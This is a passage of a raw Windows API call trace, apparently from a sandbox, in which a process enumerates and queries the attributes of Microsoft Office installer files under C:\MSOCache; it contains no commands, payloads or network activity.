	[0050.315] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
	[0050.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1
	[0050.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0050.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.316] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.316] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.317] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1274e058 | out: lpFileInformation=0x1274e058*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.319] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.319] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.320] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.320] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1
	[0050.320] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0050.320] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1
	[0050.320] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1
	[0050.320] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.321] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.321] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1274e1e8 | out: lpFileInformation=0x1274e1e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94)) returned 1
	[0050.323] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1274e238 | out: lpFileInformation=0x1274e238*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00)) returned 1
	[0050.325] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e288 | out: lpFileInformation=0x1274e288*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545)) returned 1
	[0050.326] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e2d8 | out: lpFileInformation=0x1274e2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975)) returned 1
	[0050.327] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), fInfoLevelId=0x0, lpFileInformation=0x1274e328 | out: lpFileInformation=0x1274e328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1
	[0050.327] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e378 | out: lpFileInformation=0x1274e378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1
	[0050.327] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e3c8 | out: lpFileInformation=0x1274e3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40)) returned 1
	[0050.336] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1274e418 | out: lpFileInformation=0x1274e418*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.336] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.336] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.338] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.339] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1274e878 | out: lpFileInformation=0x1274e878*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c)) returned 1
	[0050.341] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1274e8c8 | out: lpFileInformation=0x1274e8c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600)) returned 1
	[0050.342] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e918 | out: lpFileInformation=0x1274e918*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1
